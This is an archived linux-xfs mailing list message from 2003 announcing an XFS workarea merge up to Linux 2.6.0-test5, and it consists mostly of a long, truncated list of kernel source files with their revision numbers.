h8AKIpcc11573853 for ; Wed, 10 Sep 2003 15:18:51 -0500 (CDT) Received: from naboo.americas.sgi.com (naboo.americas.sgi.com [128.162.233.73]) by daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP id h8AKIpRn235240481 for ; Wed, 10 Sep 2003 15:18:51 -0500 (CDT) Received: by naboo.americas.sgi.com (Postfix, from userid 29039) id C5A9318796C8; Wed, 10 Sep 2003 15:18:50 -0500 (CDT) Subject: TAKE - Merge up to 2.6.0-test5 Message-Id: <20030910201850.C5A9318796C8@naboo.americas.sgi.com> Date: Wed, 10 Sep 2003 15:18:50 -0500 (CDT) From: cattelan@naboo.americas.sgi.com (Russell Cattelan) To: undisclosed-recipients:;;;;@sgi.com;;; X-archive-position: 383 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cattelan@naboo.americas.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 63909 Lines: 1664 Date: Wed Sep 10 13:14:45 PDT 2003 Workarea: naboo.americas.sgi.com:/go/space/XFS/x2.5-xfs-patchme The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.5.x-xfs Modid: 2.5.x-xfs:slinx:158161a linux/arch/m68k/kernel/vmlinux-sun3.lds - 1.1 linux/drivers/cpufreq/cpufreq_userspace.c - 1.1 linux/scripts/checkversion.pl - 1.1 linux/include/linux/netfilter_ipv4/ipt_iprange.h - 1.1 linux/arch/ppc/syslib/ibm440gp_common.h - 1.1 linux/arch/ppc/syslib/ibm440gp_common.c - 1.1 linux/arch/ppc/platforms/4xx/ibm440gx.c - 1.1 linux/arch/ppc/platforms/4xx/ibm440gx.h - 1.1 linux/drivers/cpufreq/cpufreq_powersave.c - 1.1 linux/drivers/cpufreq/cpufreq_performance.c - 1.1 linux/include/asm-arm26/local.h - 1.1 linux/drivers/cpufreq/cpufreq.c - 1.1 linux/arch/ppc/configs/ocotea_defconfig - 1.1 linux/drivers/char/watchdog/alim1535_wdt.c - 1.1 linux/include/asm-arm26/sections.h - 1.1 linux/drivers/char/agp/amd64-agp.c - 1.1 linux/Documentation/sysctl/abi.txt - 1.1 linux/include/asm-h8300/h8300_smsc.h - 1.1 linux/arch/ppc/configs/ebony_defconfig - 1.1 linux/include/asm-i386/hpet.h - 1.1 linux/drivers/usb/gadget/inode.c - 1.1 linux/Documentation/watchdog/pcwd-watchdog.txt - 1.1 linux/Documentation/watchdog/watchdog-api.txt - 1.1 linux/Documentation/watchdog/watchdog.txt - 1.1 linux/drivers/serial/pmac_zilog.h - 1.1 linux/drivers/serial/pmac_zilog.c - 1.1 linux/include/asm-m68k/local.h - 1.1 linux/include/asm-m68k/sections.h - 1.1 linux/include/asm-m68knommu/local.h - 1.1 linux/include/asm-arm/apm.h - 1.1 linux/include/asm-arm/domain.h - 1.1 linux/include/asm-m68knommu/sections.h - 1.1 linux/arch/arm26/kernel/vmlinux-arm26.lds.in - 1.1 linux/arch/arm26/kernel/vmlinux-arm26-xip.lds.in - 1.1 linux/arch/ppc/boot/of1275/map.c - 1.1 linux/include/asm-arm/locks.h - 1.1 linux/include/asm-ppc/ibm44x.h - 1.1 linux/arch/ppc/platforms/4xx/ocotea.c - 1.1 linux/arch/ppc/mm/44x_mmu.c - 1.1 linux/arch/ppc/platforms/4xx/ebony.c - 1.1 linux/arch/ppc/platforms/4xx/ebony.h - 1.1 linux/drivers/scsi/scsi_sysctl.c - 1.1 linux/arch/ppc/platforms/4xx/ocotea.h - 1.1 linux/net/bridge/netfilter/ebt_802_3.c - 1.1 linux/net/bridge/netfilter/ebt_arpreply.c - 1.1 linux/arch/ppc/platforms/4xx/ibm440gp.c - 1.1 linux/arch/m68k/kernel/vmlinux-std.lds - 1.1 linux/arch/i386/kernel/time_hpet.c - 1.1 linux/include/linux/usb_gadgetfs.h - 1.1 linux/include/linux/netfilter_bridge/ebt_802_3.h - 1.1 linux/arch/i386/kernel/timers/timer_hpet.c - 1.1 linux/arch/ppc/syslib/ibm44x_common.c - 1.1 linux/include/linux/netfilter_bridge/ebt_arpreply.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_CLASSIFY.h - 1.1 linux/include/linux/netfilter_ipv4/ipt_SAME.h - 1.1 linux/arch/ppc/kernel/head_44x.S - 1.1 linux/net/ipv4/netfilter/ipt_CLASSIFY.c - 1.1 linux/arch/ppc/platforms/4xx/ibm440gp.h - 1.1 linux/net/ipv4/netfilter/ipt_iprange.c - 1.1 linux/net/ipv4/netfilter/ipt_SAME.c - 1.1 linux/net/ipv4/netfilter/ipt_NETMAP.c - 1.1 linux/net/x25/af_x25.c - 1.39 linux/net/unix/af_unix.c - 1.62 linux/net/sunrpc/xprt.c - 1.48 linux/net/sunrpc/sysctl.c - 1.13 linux/net/sunrpc/svcsock.c - 1.37 linux/net/sunrpc/stats.c - 1.12 linux/net/socket.c - 1.61 linux/net/sched/sch_generic.c - 1.15 linux/net/rose/af_rose.c - 1.36 linux/net/packet/af_packet.c - 1.47 linux/net/netsyms.c - 1.77 linux/net/netrom/af_netrom.c - 1.33 linux/net/netlink/netlink_dev.c - 1.22 linux/net/netlink/af_netlink.c - 1.34 linux/net/lapb/lapb_iface.c - 1.14 linux/net/irda/wrapper.c - 1.15 linux/net/irda/timer.c - 1.11 linux/net/irda/irttp.c - 1.26 linux/net/irda/irlmp_event.c - 1.24 linux/net/irda/irlmp.c - 1.28 linux/net/irda/irlap.c - 1.26 linux/net/irda/irias_object.c - 1.18 linux/net/irda/iriap.c - 1.24 linux/net/irda/irda_device.c - 1.35 linux/net/irda/af_irda.c - 1.49 linux/net/ipx/af_ipx.c - 1.41 linux/net/ipv6/route.c - 1.41 linux/net/ipv6/mcast.c - 1.32 linux/net/ipv6/ip6_output.c - 1.31 linux/net/ipv6/ip6_flowlabel.c - 1.9 linux/net/ipv6/icmp.c - 1.35 linux/net/ipv6/af_inet6.c - 1.39 linux/net/ipv6/addrconf.c - 1.43 linux/net/ipv4/udp.c - 1.49 linux/net/ipv4/route.c - 1.53 linux/net/ipv4/ipmr.c - 1.33 linux/net/ipv4/ip_output.c - 1.52 linux/net/ipv4/igmp.c - 1.32 linux/net/ipv4/icmp.c - 1.43 linux/net/ipv4/af_inet.c - 1.58 linux/net/core/skbuff.c - 1.38 linux/net/core/scm.c - 1.12 linux/net/core/rtnetlink.c - 1.20 linux/net/core/profile.c - 1.12 linux/net/core/dev.c - 1.83 linux/net/core/Makefile - 1.19 linux/net/bridge/br.c - 1.29 linux/net/bridge/Makefile - 1.12 linux/net/ax25/ax25_uid.c - 1.8 linux/net/ax25/ax25_route.c - 1.12 linux/net/ax25/ax25_dev.c - 1.8 linux/net/ax25/af_ax25.c - 1.37 linux/net/appletalk/ddp.c - 1.31 linux/net/appletalk/aarp.c - 1.18 linux/net/README - 1.11 linux/mm/vmscan.c - 1.134 linux/mm/swapfile.c - 1.78 linux/mm/slab.c - 1.65 linux/mm/page_alloc.c - 1.114 linux/mm/mremap.c - 1.45 linux/mm/mprotect.c - 1.39 linux/mm/mmap.c - 1.82 linux/mm/memory.c - 1.111 linux/mm/Makefile - 1.24 linux/kernel/sysctl.c - 1.73 linux/kernel/sys.c - 1.58 linux/kernel/sched.c - 1.110 linux/kernel/module.c - 1.48 linux/kernel/ksyms.c - 1.199 linux/kernel/kmod.c - 1.34 linux/kernel/fork.c - 1.99 linux/kernel/exit.c - 1.73 linux/kernel/Makefile - 1.47 linux/ipc/util.c - 1.26 linux/ipc/shm.c - 1.66 linux/ipc/sem.c - 1.31 linux/ipc/msg.c - 1.21 linux/init/main.c - 1.112 linux/include/net/profile.h - 1.6 linux/include/net/irda/irtty.h - 1.11 linux/include/net/ipv6.h - 1.21 linux/include/net/ax25.h - 1.13 linux/include/linux/wait.h - 1.20 linux/include/linux/videodev.h - 1.28 linux/include/linux/tty_ldisc.h - 1.5 linux/include/linux/tty.h - 1.25 linux/include/linux/tpqic02.h - 1.7 linux/include/linux/sysctl.h - 1.77 linux/include/linux/skbuff.h - 1.37 linux/include/linux/sched.h - 1.111 linux/include/linux/rtnetlink.h - 1.21 linux/include/linux/ptrace.h - 1.10 linux/include/linux/proc_fs.h - 1.43 linux/include/linux/personality.h - 1.13 linux/include/linux/nfsd/nfsfh.h - 1.19 linux/include/linux/netdevice.h - 1.54 linux/include/linux/net.h - 1.19 linux/include/linux/mman.h - 1.7 linux/include/linux/mm.h - 1.123 linux/include/linux/miscdevice.h - 1.15 linux/include/linux/kmod.h - 1.13 linux/include/linux/kernel.h - 1.48 linux/include/linux/kdev_t.h - 1.13 linux/include/linux/isdn.h - 1.35 linux/include/linux/ipv6_route.h - 1.5 linux/include/linux/if_frad.h - 1.7 linux/include/linux/genhd.h - 1.39 linux/include/linux/fs.h - 1.223 linux/include/linux/coda.h - 1.10 linux/include/linux/capi.h - 1.6 linux/include/linux/blkdev.h - 1.91 linux/include/linux/auto_fs.h - 1.11 linux/include/asm-sparc64/unistd.h - 1.33 linux/include/asm-sparc64/termios.h - 1.8 linux/include/asm-sparc64/siginfo.h - 1.15 linux/include/asm-sparc/unistd.h - 1.31 linux/include/asm-sparc/termios.h - 1.8 linux/include/asm-sparc/smp.h - 1.15 linux/include/asm-sparc/semaphore.h - 1.9 linux/include/asm-ppc/unistd.h - 1.35 linux/include/asm-ppc/serial.h - 1.15 linux/include/asm-ppc/prom.h - 1.17 linux/include/asm-ppc/processor.h - 1.45 linux/include/asm-ppc/pgtable.h - 1.45 linux/include/asm-ppc/page.h - 1.23 linux/include/asm-ppc/mmu.h - 1.12 linux/include/asm-ppc/irq.h - 1.20 linux/include/asm-ppc/io.h - 1.23 linux/include/asm-mips/semaphore.h - 1.11 linux/include/asm-m68k/system.h - 1.14 linux/include/asm-m68k/semaphore.h - 1.10 linux/include/asm-i386/termios.h - 1.7 linux/include/asm-i386/smp.h - 1.32 linux/include/asm-i386/processor.h - 1.57 linux/include/asm-i386/ioctl.h - 1.3 linux/include/asm-i386/bugs.h - 1.21 linux/include/asm-arm/unistd.h - 1.28 linux/include/asm-arm/uaccess.h - 1.14 linux/include/asm-arm/system.h - 1.29 linux/include/asm-arm/shmparam.h - 1.6 linux/include/asm-arm/semaphore.h - 1.10 linux/include/asm-arm/ptrace.h - 1.9 linux/include/asm-arm/processor.h - 1.29 linux/include/asm-arm/proc-fns.h - 1.15 linux/include/asm-arm/proc-armv/uaccess.h - 1.15 linux/include/asm-arm/proc-armv/system.h - 1.21 linux/include/asm-arm/proc-armv/shmparam.h - 1.5 linux/include/asm-arm/proc-armv/ptrace.h - 1.8 linux/include/asm-arm/proc-armv/processor.h - 1.14 linux/include/asm-arm/proc-armv/pgtable.h - 1.23 linux/include/asm-arm/proc-armv/page.h - 1.6 linux/include/asm-arm/proc-armv/elf.h - 1.8 linux/include/asm-arm/proc-armv/assembler.h - 1.8 linux/include/asm-arm/proc-armo/uaccess.h - 1.6 linux/include/asm-arm/proc-armo/system.h - 1.13 linux/include/asm-arm/proc-armo/shmparam.h - 1.5 linux/include/asm-arm/proc-armo/ptrace.h - 1.7 linux/include/asm-arm/proc-armo/processor.h - 1.11 linux/include/asm-arm/proc-armo/pgtable.h - 1.11 linux/include/asm-arm/proc-armo/page.h - 1.6 linux/include/asm-arm/proc-armo/elf.h - 1.5 linux/include/asm-arm/proc-armo/assembler.h - 1.6 linux/include/asm-arm/pgtable.h - 1.31 linux/include/asm-arm/param.h - 1.8 linux/include/asm-arm/page.h - 1.21 linux/include/asm-arm/elf.h - 1.10 linux/include/asm-arm/checksum.h - 1.12 linux/include/asm-arm/atomic.h - 1.14 linux/include/asm-arm/assembler.h - 1.7 linux/include/asm-arm/arch-ebsa285/timex.h - 1.5 linux/include/asm-arm/arch-ebsa285/time.h - 1.17 linux/include/asm-alpha/semaphore.h - 1.11 linux/fs/vfat/namei.c - 1.43 linux/fs/ufs/namei.c - 1.22 linux/fs/ufs/inode.c - 1.30 linux/fs/sysv/namei.c - 1.23 linux/fs/sysv/inode.c - 1.40 linux/fs/stat.c - 1.36 linux/fs/smbfs/inode.c - 1.49 linux/fs/smbfs/dir.c - 1.29 linux/fs/romfs/inode.c - 1.46 linux/fs/proc/base.c - 1.56 linux/fs/open.c - 1.55 linux/fs/nls/nls_base.c - 1.16 linux/fs/nfsd/nfsproc.c - 1.34 linux/fs/nfs/nfs2xdr.c - 1.26 linux/fs/nfs/inode.c - 1.71 linux/fs/nfs/dir.c - 1.55 linux/fs/ncpfs/inode.c - 1.46 linux/fs/ncpfs/dir.c - 1.36 linux/fs/minix/namei.c - 1.25 linux/fs/minix/inode.c - 1.43 linux/fs/lockd/svc.c - 1.31 linux/fs/isofs/rock.c - 1.26 linux/fs/isofs/inode.c - 1.45 linux/fs/inode.c - 1.103 linux/fs/hfs/inode.c - 1.21 linux/fs/fcntl.c - 1.34 linux/fs/ext2/namei.c - 1.31 linux/fs/ext2/inode.c - 1.69 linux/fs/coda/psdev.c - 1.28 linux/fs/coda/inode.c - 1.33 linux/fs/coda/dir.c - 1.31 linux/fs/coda/coda_linux.c - 1.13 linux/fs/block_dev.c - 1.81 linux/fs/bad_inode.c - 1.16 linux/fs/affs/file.c - 1.34 linux/fs/adfs/super.c - 1.29 linux/fs/adfs/map.c - 1.12 linux/fs/adfs/inode.c - 1.30 linux/fs/adfs/file.c - 1.17 linux/fs/adfs/dir.c - 1.22 linux/drivers/video/platinumfb.c - 1.23 linux/drivers/video/fbmem.c - 1.67 linux/drivers/video/controlfb.c - 1.31 linux/drivers/video/Makefile - 1.57 linux/drivers/scsi/t128.h - 1.11 linux/drivers/scsi/sym53c8xx_defs.h - 1.16 linux/drivers/scsi/sym53c8xx.c - 1.50 linux/drivers/scsi/st.c - 1.72 linux/drivers/scsi/sr_ioctl.c - 1.35 linux/drivers/scsi/sr.c - 1.73 linux/drivers/scsi/sgiwd93.h - 1.9 linux/drivers/scsi/sg.c - 1.58 linux/drivers/scsi/sd.c - 1.93 linux/drivers/scsi/scsi_proc.c - 1.23 linux/drivers/scsi/scsi_ioctl.c - 1.35 linux/drivers/scsi/scsi_error.c - 1.48 linux/drivers/scsi/scsi.c - 1.82 linux/drivers/scsi/qlogicisp.h - 1.8 linux/drivers/scsi/qlogicfc.h - 1.15 linux/drivers/scsi/psi240i.h - 1.9 linux/drivers/scsi/pci2220i.h - 1.12 linux/drivers/scsi/pci2000.h - 1.12 linux/drivers/scsi/pas16.h - 1.10 linux/drivers/scsi/ncr53c8xx.c - 1.40 linux/drivers/scsi/mvme16x.h - 1.8 linux/drivers/scsi/megaraid.c - 1.52 linux/drivers/scsi/mac_scsi.h - 1.8 linux/drivers/scsi/inia100.h - 1.17 linux/drivers/scsi/ini9100u.h - 1.15 linux/drivers/scsi/imm.h - 1.16 linux/drivers/scsi/imm.c - 1.28 linux/drivers/scsi/ide-scsi.c - 1.58 linux/drivers/scsi/i91uscsi.h - 1.6 linux/drivers/scsi/hosts.h - 1.44 linux/drivers/scsi/hosts.c - 1.51 linux/drivers/scsi/gvp11.h - 1.6 linux/drivers/scsi/gdth_proc.c - 1.19 linux/drivers/scsi/gdth.h - 1.17 linux/drivers/scsi/gdth.c - 1.35 linux/drivers/scsi/bvme6000.h - 1.8 linux/drivers/scsi/atp870u.h - 1.13 linux/drivers/scsi/amiga7xx.h - 1.8 linux/drivers/scsi/aha1542.h - 1.12 linux/drivers/scsi/advansys.c - 1.39 linux/drivers/scsi/a3000.h - 1.8 linux/drivers/scsi/a2091.h - 1.8 linux/drivers/scsi/NCR5380.c - 1.23 linux/drivers/scsi/Makefile - 1.55 linux/drivers/scsi/AM53C974.c - 1.25 linux/drivers/sbus/char/vfc_dev.c - 1.20 linux/drivers/sbus/char/rtc.c - 1.16 linux/drivers/sbus/char/bpp.c - 1.27 linux/drivers/net/yellowfin.c - 1.39 linux/drivers/net/via-rhine.c - 1.49 linux/drivers/net/tlan.c - 1.38 linux/drivers/net/sunqe.c - 1.29 linux/drivers/net/sunlance.c - 1.34 linux/drivers/net/sunhme.c - 1.50 linux/drivers/net/sunbmac.c - 1.28 linux/drivers/net/smc-mca.c - 1.19 linux/drivers/net/slip.c - 1.29 linux/drivers/net/seeq8005.c - 1.22 linux/drivers/net/rcpci45.c - 1.32 linux/drivers/net/pcnet32.c - 1.48 linux/drivers/net/ni5010.c - 1.19 linux/drivers/net/ne2k-pci.c - 1.31 linux/drivers/net/loopback.c - 1.13 linux/drivers/net/irda/tekram.c - 1.13 linux/drivers/net/irda/girbil.c - 1.14 linux/drivers/net/irda/esi.c - 1.11 linux/drivers/net/irda/actisys.c - 1.15 linux/drivers/net/hamradio/mkiss.c - 1.20 linux/drivers/net/hamradio/bpqether.c - 1.24 linux/drivers/net/hamradio/6pack.c - 1.19 linux/drivers/net/fmv18x.c - 1.21 linux/drivers/net/ethertap.c - 1.15 linux/drivers/net/eth16i.c - 1.27 linux/drivers/net/epic100.c - 1.39 linux/drivers/net/eepro100.c - 1.64 linux/drivers/net/dummy.c - 1.13 linux/drivers/net/dgrs.c - 1.29 linux/drivers/net/bmac.c - 1.27 linux/drivers/net/acenic.c - 1.51 linux/drivers/net/Space.c - 1.47 linux/drivers/net/8390.h - 1.17 linux/drivers/net/8390.c - 1.30 linux/drivers/net/3c59x.c - 1.52 linux/drivers/net/3c527.c - 1.25 linux/drivers/net/3c523.c - 1.20 linux/drivers/net/3c515.c - 1.31 linux/drivers/net/3c509.c - 1.49 linux/drivers/net/3c507.c - 1.26 linux/drivers/net/3c505.c - 1.37 linux/drivers/net/3c503.c - 1.26 linux/drivers/net/3c501.c - 1.28 linux/drivers/macintosh/via-pmu.c - 1.28 linux/drivers/macintosh/mediabay.c - 1.17 linux/drivers/macintosh/adb.c - 1.28 linux/drivers/isdn/sc/timer.c - 1.7 linux/drivers/isdn/sc/shmem.c - 1.5 linux/drivers/isdn/sc/message.c - 1.7 linux/drivers/isdn/sc/init.c - 1.11 linux/drivers/isdn/sc/command.c - 1.9 linux/drivers/isdn/sc/card.h - 1.4 linux/drivers/isdn/icn/icn.h - 1.12 linux/drivers/isdn/icn/icn.c - 1.23 linux/drivers/isdn/hisax/sedlbauer.c - 1.27 linux/drivers/isdn/hisax/q931.c - 1.9 linux/drivers/isdn/hisax/netjet.c - 1.26 linux/drivers/isdn/hisax/l3dss1.c - 1.20 linux/drivers/isdn/hisax/l3_1tr6.c - 1.13 linux/drivers/isdn/hisax/isdnl2.c - 1.19 linux/drivers/isdn/hisax/isdnl1.h - 1.10 linux/drivers/isdn/hisax/hisax.h - 1.36 linux/drivers/isdn/hisax/hfc_2bs0.c - 1.20 linux/drivers/isdn/hisax/hfc_2bds0.c - 1.20 linux/drivers/isdn/hisax/elsa.c - 1.28 linux/drivers/isdn/hisax/diva.c - 1.24 linux/drivers/isdn/hisax/callc.c - 1.24 linux/drivers/isdn/hisax/Makefile - 1.27 linux/drivers/char/vt.c - 1.41 linux/drivers/char/vc_screen.c - 1.18 linux/drivers/char/tty_io.c - 1.73 linux/drivers/char/tpqic02.c - 1.29 linux/drivers/char/synclink.c - 1.41 linux/drivers/char/stallion.c - 1.34 linux/drivers/char/rtc.c - 1.44 linux/drivers/char/rocket.c - 1.26 linux/drivers/char/riscom8.c - 1.23 linux/drivers/char/random.c - 1.43 linux/drivers/char/pty.c - 1.21 linux/drivers/char/pcxx.c - 1.23 linux/drivers/char/nvram.c - 1.29 linux/drivers/char/n_tty.c - 1.23 linux/drivers/char/n_hdlc.c - 1.23 linux/drivers/char/misc.c - 1.38 linux/drivers/char/mem.c - 1.55 linux/drivers/char/lp.c - 1.40 linux/drivers/char/istallion.c - 1.32 linux/drivers/char/ftape/zftape/zftape-init.c - 1.21 linux/drivers/char/ftape/lowlevel/fdc-io.c - 1.12 linux/drivers/char/epca.c - 1.32 linux/drivers/char/dtlk.c - 1.24 linux/drivers/char/dsp56k.c - 1.24 linux/drivers/char/cyclades.c - 1.34 linux/drivers/char/busmouse.c - 1.23 linux/drivers/cdrom/sonycd535.c - 1.40 linux/drivers/cdrom/sjcd.c - 1.34 linux/drivers/cdrom/sbpcd.c - 1.42 linux/drivers/cdrom/optcd.c - 1.36 linux/drivers/cdrom/mcdx.c - 1.30 linux/drivers/cdrom/mcd.c - 1.35 linux/drivers/cdrom/gscd.c - 1.35 linux/drivers/cdrom/cm206.c - 1.37 linux/drivers/cdrom/cdu31a.c - 1.33 linux/drivers/cdrom/cdrom.c - 1.56 linux/drivers/cdrom/aztcd.c - 1.37 linux/drivers/block/z2ram.c - 1.33 linux/drivers/block/xd.c - 1.58 linux/drivers/block/rd.c - 1.77 linux/drivers/block/paride/pt.c - 1.24 linux/drivers/block/paride/pg.c - 1.24 linux/drivers/block/paride/pd.c - 1.48 linux/drivers/block/ll_rw_blk.c - 1.141 linux/drivers/block/genhd.c - 1.58 linux/drivers/block/floppy.c - 1.72 linux/drivers/block/ataflop.c - 1.43 linux/drivers/block/amiflop.c - 1.44 linux/drivers/block/acsi_slm.c - 1.18 linux/drivers/acorn/block/fd1772.c - 1.40 linux/drivers/Makefile - 1.48 linux/arch/sparc64/solaris/timod.c - 1.25 linux/arch/sparc64/solaris/systbl.S - 1.7 linux/arch/sparc64/solaris/socksys.c - 1.21 linux/arch/sparc64/solaris/misc.c - 1.31 linux/arch/sparc64/kernel/systbls.S - 1.48 linux/arch/sparc64/kernel/sys_sunos32.c - 1.49 linux/arch/sparc64/kernel/sys_sparc32.c - 1.79 linux/arch/sparc64/kernel/irq.c - 1.38 linux/arch/sparc64/kernel/ioctl32.c - 1.76 linux/arch/sparc64/kernel/entry.S - 1.34 linux/arch/sparc/kernel/systbls.S - 1.33 linux/arch/sparc/kernel/sys_sunos.c - 1.43 linux/arch/sparc/kernel/ioport.c - 1.28 linux/arch/sparc/kernel/entry.S - 1.21 linux/arch/sparc/boot/Makefile - 1.17 linux/arch/ppc/mm/init.c - 1.52 linux/arch/ppc/mm/Makefile - 1.16 linux/arch/ppc/kernel/syscalls.c - 1.18 linux/arch/ppc/kernel/smp.c - 1.52 linux/arch/ppc/kernel/setup.c - 1.62 linux/arch/ppc/kernel/ppc_ksyms.c - 1.60 linux/arch/ppc/kernel/ppc-stub.c - 1.15 linux/arch/ppc/kernel/misc.S - 1.60 linux/arch/ppc/kernel/head.S - 1.45 linux/arch/ppc/kernel/Makefile - 1.43 linux/arch/ppc/defconfig - 1.49 linux/arch/ppc/Makefile - 1.42 linux/arch/ppc/8xx_io/uart.c - 1.29 linux/arch/m68k/atari/stram.c - 1.30 linux/arch/i386/kernel/traps.c - 1.83 linux/arch/i386/kernel/time.c - 1.45 linux/arch/i386/kernel/setup.c - 1.98 linux/arch/i386/kernel/process.c - 1.75 linux/arch/i386/kernel/apm.c - 1.65 linux/arch/i386/kernel/Makefile - 1.54 linux/arch/i386/defconfig - 1.121 linux/arch/i386/boot/Makefile - 1.23 linux/arch/arm/mm/proc-sa110.S - 1.32 linux/arch/arm/mm/mm-armv.c - 1.36 linux/arch/arm/mm/Makefile - 1.26 linux/arch/arm/kernel/setup.c - 1.44 linux/arch/arm/kernel/entry-common.S - 1.26 linux/arch/arm/kernel/entry-armv.S - 1.45 linux/arch/arm/kernel/entry-armo.S - 1.18 linux/arch/arm/kernel/ecard.c - 1.32 linux/arch/arm/kernel/Makefile - 1.29 linux/arch/arm/boot/Makefile - 1.26 linux/arch/arm/Makefile - 1.49 linux/Makefile - 1.258 linux/MAINTAINERS - 1.149 linux/Documentation/watchdog.txt - 1.7 linux/Documentation/sysctl/README - 1.4 linux/Documentation/pcwd-watchdog.txt - 1.4 linux/Documentation/kmod.txt - 1.4 linux/Documentation/ioctl-number.txt - 1.23 linux/Documentation/ide.txt - 1.13 linux/Documentation/Changes - 1.69 linux/CREDITS - 1.107 linux/net/decnet/dn_dev.c - 1.22 linux/net/decnet/af_decnet.c - 1.45 linux/include/linux/ide.h - 1.85 linux/include/linux/cycx_drv.h - 1.7 linux/include/linux/cycx_cfm.h - 1.4 linux/include/linux/cyclomx.h - 1.10 linux/fs/hpfs/namei.c - 1.22 linux/fs/hpfs/inode.c - 1.25 linux/fs/efs/inode.c - 1.15 linux/drivers/net/sk_mca.h - 1.5 linux/drivers/net/sk_mca.c - 1.21 linux/drivers/net/irda/litelink.c - 1.11 linux/drivers/isdn/hisax/isar.c - 1.23 linux/drivers/isdn/hisax/elsa_ser.c - 1.15 linux/arch/ppc/xmon/start.c - 1.24 linux/Documentation/kernel-parameters.txt - 1.30 linux/drivers/tc/zs.c - 1.16 linux/drivers/char/ppdev.c - 1.39 linux/drivers/block/cpqarray.c - 1.75 linux/drivers/parport/parport_pc.c - 1.60 linux/drivers/char/raw.c - 1.40 linux/include/asm-i386/apic.h - 1.24 linux/drivers/net/ppp_generic.c - 1.43 linux/drivers/net/ppp_async.c - 1.21 linux/drivers/net/hamradio/yam.c - 1.27 linux/drivers/char/sx.c - 1.37 linux/drivers/char/generic_serial.c - 1.18 linux/include/asm-arm/proc-armv/domain.h - 1.4 linux/fs/partitions/check.c - 1.74 linux/drivers/isdn/hisax/hfc_pci.c - 1.31 linux/drivers/net/sis900.c - 1.50 linux/drivers/net/sb1000.c - 1.26 linux/drivers/char/ip2main.c - 1.32 linux/drivers/atm/horizon.h - 1.6 linux/drivers/atm/eni.c - 1.25 linux/drivers/atm/ambassador.c - 1.25 linux/net/core/netfilter.c - 1.27 linux/net/atm/svc.c - 1.19 linux/net/atm/resources.h - 1.7 linux/net/atm/resources.c - 1.15 linux/net/atm/pvc.c - 1.17 linux/net/atm/proc.c - 1.24 linux/net/atm/common.h - 1.10 linux/net/atm/common.c - 1.29 linux/net/atm/addr.c - 1.7 linux/arch/arm/vmlinux-armv.lds.in - 1.31 linux/arch/arm/vmlinux-armo.lds.in - 1.26 linux/arch/arm/kernel/bios32.c - 1.39 linux/drivers/block/DAC960.h - 1.27 linux/drivers/block/DAC960.c - 1.74 linux/arch/sparc64/kernel/semaphore.c - 1.11 linux/arch/sparc64/kernel/pci_sabre.c - 1.36 linux/arch/sparc64/kernel/pci_psycho.c - 1.33 linux/include/asm-arm/cpu-multi26.h - 1.7 linux/drivers/scsi/ips.c - 1.47 linux/drivers/char/n_r3964.c - 1.18 linux/net/irda/ircomm/ircomm_tty.c - 1.32 linux/include/asm-sh/semaphore.h - 1.9 linux/drivers/pcmcia/ricoh.h - 1.12 linux/drivers/pcmcia/ds.c - 1.32 linux/drivers/pcmcia/cs_internal.h - 1.21 linux/drivers/pcmcia/cs.c - 1.45 linux/drivers/pcmcia/cistpl.c - 1.24 linux/arch/m68k/vmlinux-sun3.lds - 1.19 linux/fs/udf/inode.c - 1.37 linux/drivers/pcmcia/ti113x.h - 1.15 linux/drivers/pcmcia/topic.h - 1.4 linux/fs/udf/namei.c - 1.28 linux/fs/udf/super.c - 1.39 linux/fs/udf/udfdecl.h - 1.23 linux/include/asm-sparc/pci.h - 1.16 linux/drivers/net/starfire.c - 1.35 linux/drivers/net/pcmcia/pcnet_cs.c - 1.29 linux/drivers/net/pcmcia/3c589_cs.c - 1.32 linux/drivers/char/drm/drmP.h - 1.27 linux/Documentation/filesystems/proc.txt - 1.21 linux/drivers/net/wan/cycx_main.c - 1.17 linux/drivers/net/wan/cycx_drv.c - 1.10 linux/drivers/net/wan/cosa.c - 1.35 linux/include/linux/pci_ids.h - 1.99 linux/drivers/net/wan/sdla.c - 1.19 linux/drivers/net/wan/sbni.c - 1.25 linux/drivers/net/wan/dlci.c - 1.14 linux/include/linux/pmu.h - 1.8 linux/drivers/net/pcmcia/xirc2ps_cs.c - 1.29 linux/drivers/net/pcmcia/3c574_cs.c - 1.31 linux/drivers/net/pcmcia/nmclan_cs.c - 1.24 linux/drivers/net/pcmcia/fmvj18x_cs.c - 1.28 linux/include/asm-arm/proc-armv/cache.h - 1.19 linux/include/asm-arm/proc-armo/cache.h - 1.11 linux/include/asm-arm/pci.h - 1.26 linux/drivers/net/ppp_synctty.c - 1.15 linux/fs/proc/proc_misc.c - 1.68 linux/fs/proc/kcore.c - 1.17 linux/drivers/scsi/sun3_scsi.h - 1.8 linux/drivers/pci/pci.ids - 1.64 linux/include/asm-ppc/pgalloc.h - 1.15 linux/include/asm-arm/pgalloc.h - 1.13 linux/arch/ppc/configs/pmac_defconfig - 1.16 linux/arch/ppc/configs/common_defconfig - 1.37 linux/include/linux/mmzone.h - 1.41 linux/drivers/char/agp/Makefile - 1.18 linux/kernel/timer.c - 1.53 linux/drivers/scsi/scsi_lib.c - 1.71 linux/drivers/char/agp/agp.h - 1.39 linux/drivers/i2c/i2c-dev.c - 1.33 linux/drivers/net/irda/old_belkin.c - 1.7 linux/fs/cramfs/inode.c - 1.41 linux/drivers/telephony/phonedev.c - 1.13 linux/drivers/telephony/ixj.c - 1.33 linux/drivers/net/arcnet/arcnet.c - 1.20 linux/drivers/ieee1394/raw1394.h - 1.8 linux/drivers/ieee1394/raw1394.c - 1.32 linux/drivers/ieee1394/ieee1394_core.h - 1.20 linux/drivers/ieee1394/pcilynx.c - 1.34 linux/drivers/ieee1394/ieee1394_core.c - 1.36 linux/drivers/ieee1394/ohci1394.h - 1.21 linux/drivers/ieee1394/ohci1394.c - 1.37 linux/drivers/ieee1394/ieee1394_types.h - 1.24 linux/drivers/ieee1394/ieee1394_transactions.h - 1.9 linux/drivers/ieee1394/ieee1394_transactions.c - 1.20 linux/arch/i386/kernel/apic.c - 1.49 linux/arch/i386/kernel/mpparse.c - 1.42 linux/drivers/ieee1394/csr.c - 1.16 linux/drivers/ieee1394/Makefile - 1.23 linux/drivers/scsi/scsi_scan.c - 1.55 linux/drivers/scsi/3w-xxxx.h - 1.21 linux/drivers/scsi/3w-xxxx.c - 